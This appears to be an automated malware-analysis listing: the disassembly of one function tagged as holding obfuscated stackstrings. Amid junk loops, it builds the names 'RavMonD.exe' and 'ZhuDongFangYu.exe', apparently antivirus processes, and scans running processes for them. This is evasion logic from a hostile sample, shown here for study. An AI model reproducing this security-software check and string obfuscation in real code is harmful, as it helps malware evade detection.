Function at 0x413e7e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e4
mov dword [ebp - 0x14], ecx
lea eax, [ebp - 4]
lea ecx, [ebp - 4]
push ebx
imul eax, ecx
lea ecx, [ebp - 4]
push esi
cmp eax, ecx
push edi
jne 0x413f4f
xor eax, eax
push 0xa
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
pop eax
dec eax
mov dword [ebp - 0x18], 1
jne 0x413eaf
push 1
lea edx, [ebp - 0x20]
pop ecx
lea eax, [ecx + 1]
mov esi, ecx
cmp eax, 0xa
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
jge 0x413ef9
mov edi, dword [ebp - 8]
mov eax, dword [ebp + esi*4 - 0x24]
cmp eax, dword [ebp + edi*4 - 0x24]
jle 0x413ede
mov esi, edi
cmp esi, ecx
je 0x413ef0
mov ebx, dword [ebp + esi*4 - 0x24]
mov edi, dword [edx]
lea eax, [ebp + esi*4 - 0x24]
mov dword [edx], ebx
mov dword [eax], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xa
jl 0x413ecf
mov ecx, dword [ebp - 0xc]
add edx, 4
cmp ecx, 0xa
jl 0x413ebf
push 1
pop ebx
mov esi, ebx
push 2
pop ecx
mov eax, esi
cdq
idiv ecx
test edx, edx
jne 0x413f1b
inc ecx
cmp ecx, 0x32
jl 0x413f0c
cmp esi, ecx
je 0x413f25
inc esi
cmp esi, 0x64
jle 0x413f09
lea eax, [ebp - 0x4c]
push 0xa
pop edx
cmp ebx, edx
jge 0x413f46
lea ecx, [eax + 4]
sub edx, ebx
mov esi, dword [eax]
mov edi, dword [ecx]
cmp esi, edi
jle 0x413f40
mov dword [ecx], esi
mov dword [eax], edi
add ecx, 4
dec edx
jne 0x413f34
inc ebx
add eax, 4
cmp ebx, 0xb
jl 0x413f28
mov eax, dword [0x436190]
push 0
push 2
call dword [eax + 0xc]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x41425e
mov esi, 0x128
lea eax, [ebp - 0x1e4]
push esi
push 0
push eax
mov eax, dword [0x436190]
call dword [eax + 0x21c]
add esp, 0xc
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0x1e4], esi
push eax
mov eax, dword [0x436190]
push dword [ebp - 0x10]
call dword [eax + 8]
test eax, eax
je 0x41425e
lea ebx, [ebp - 4]
lea eax, [ebp - 4]
imul ebx, eax
lea eax, [ebp - 4]
lea ecx, [ebp - 4]
add eax, ecx
push 1
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x28], eax
pop edi
cmp dword [ebp - 0x28], ebx
mov byte [ebp - 0xb0], 0x52
jne 0x41402e
xor eax, eax
push 0xa
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
pop eax
dec eax
mov dword [ebp - 0x2c], edi
jne 0x413fd8
mov ecx, edi
lea edx, [ebp - 0x34]
lea eax, [ecx + 1]
mov esi, ecx
cmp eax, 0xa
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
jge 0x414023
mov edi, dword [ebp - 8]
mov eax, dword [ebp + esi*4 - 0x38]
cmp eax, dword [ebp + edi*4 - 0x38]
jle 0x414002
mov esi, edi
cmp esi, ecx
je 0x414017
mov ebx, dword [ebp + esi*4 - 0x38]
mov edi, dword [edx]
lea eax, [ebp + esi*4 - 0x38]
mov dword [edx], ebx
mov ebx, dword [ebp - 0xc]
mov dword [eax], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xa
jl 0x413ff3
push 1
pop edi
mov ecx, dword [ebp - 4]
add edx, 4
cmp ecx, 0xa
jl 0x413fe3
lea eax, [ebp - 4]
mov byte [ebp - 0xaf], 0x61
test eax, eax
mov byte [ebp - 0xae], 0x76
mov byte [ebp - 0xad], 0x4d
mov byte [ebp - 0xac], 0x6f
mov byte [ebp - 0xab], 0x6e
mov byte [ebp - 0xaa], 0x44
mov byte [ebp - 0xa9], 0x2e
mov byte [ebp - 0xa8], 0x65
mov byte [ebp - 0xa7], 0x78
mov byte [ebp - 0xa6], 0x65
jne 0x414098
push 2
xor ecx, ecx
mov dword [ebp - 0xb8], 0x1c
lea eax, [ebp - 0xbc]
pop edx
add ecx, dword [eax]
add eax, 4
dec edx
jne 0x414090
and byte [ebp - 0xa5], 0
lea eax, [ebp - 0x1c0]
push eax
lea eax, [ebp - 0xb0]
push eax
mov eax, dword [0x436190]
call dword [eax + 0x1e0]
pop ecx
test eax, eax
pop ecx
jne 0x4140c4
mov eax, dword [ebp - 0x14]
mov dword [eax + 4], edi
lea eax, [ebp - 4]
lea ecx, [ebp - 4]
imul eax, ecx
lea ecx, [ebp - 4]
lea edx, [ebp - 4]
add ecx, edx
mov byte [ebp - 0xb0], 0x5a
cmp ecx, eax
jne 0x414141
xor eax, eax
push 0xa
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
pop eax
dec eax
mov dword [ebp - 0x3c], edi
jne 0x4140ee
mov ecx, edi
lea edx, [ebp - 0x44]
lea eax, [ecx + 1]
mov esi, ecx
cmp eax, 0xa
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
jge 0x414136
mov edi, dword [ebp - 8]
mov eax, dword [ebp + esi*4 - 0x48]
cmp eax, dword [ebp + edi*4 - 0x48]
jle 0x414118
mov esi, edi
cmp esi, ecx
je 0x41412d
mov ebx, dword [ebp + esi*4 - 0x48]
mov edi, dword [edx]
lea eax, [ebp + esi*4 - 0x48]
mov dword [edx], ebx
mov ebx, dword [ebp - 0xc]
mov dword [eax], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xa
jl 0x414109
mov ecx, dword [ebp - 4]
add edx, 4
cmp ecx, 0xa
jl 0x4140f9
lea eax, [ebp - 4]
mov byte [ebp - 0xaf], 0x68
test eax, eax
mov byte [ebp - 0xae], 0x75
mov byte [ebp - 0xad], 0x44
mov byte [ebp - 0xac], 0x6f
mov byte [ebp - 0xab], 0x6e
mov byte [ebp - 0xaa], 0x67
mov byte [ebp - 0xa9], 0x46
mov byte [ebp - 0xa8], 0x61
mov byte [ebp - 0xa7], 0x6e
mov byte [ebp - 0xa6], 0x67
jne 0x4141a5
push 2
xor ecx, ecx
mov dword [ebp - 0x1c], 0x1c
lea eax, [ebp - 0x20]
pop edx
add ecx, dword [eax]
add eax, 4
dec edx
jne 0x41419d
and byte [ebp - 0x9f], 0
lea eax, [ebp - 4]
lea ecx, [ebp - 4]
mov byte [ebp - 0xa5], 0x59
sub eax, ecx
lea ecx, [ebp - 4]
cmp eax, ecx
mov byte [ebp - 0xa4], 0x75
mov byte [ebp - 0xa3], 0x2e
mov byte [ebp - 0xa2], 0x65
mov byte [ebp - 0xa1], 0x78
mov byte [ebp - 0xa0], 0x65
jne 0x41420c
push 3
pop ecx
push 2
pop esi
mov eax, ecx
mov ecx, esi
cdq
idiv esi
mov eax, ecx
mov edi, edx
cdq
idiv edi
mov esi, edi
test edx, edx
jne 0x4141eb
push 1
pop eax
push 9
pop ecx
dec ecx
lea eax, [eax + eax + 2]
jne 0x414205
lea eax, [ebp - 0x1c0]
push eax
lea eax, [ebp - 0xb0]
push eax
mov eax, dword [0x436190]
call dword [eax + 0x1e0]
pop ecx
test eax, eax
pop ecx
jne 0x414236
mov eax, dword [ebp - 0x14]
push 1
pop edi
mov dword [eax + 8], edi
jmp 0x414239
push 1
pop edi
lea eax, [ebp - 0x1e4]
push eax
mov eax, dword [0x436190]
push dword [ebp - 0x10]
call dword [eax + 4]
test eax, eax
jne 0x413fbe
push dword [ebp - 0x10]
mov eax, dword [0x436190]
call dword [eax + 0x44]
pop edi
pop esi
pop ebx
leave
ret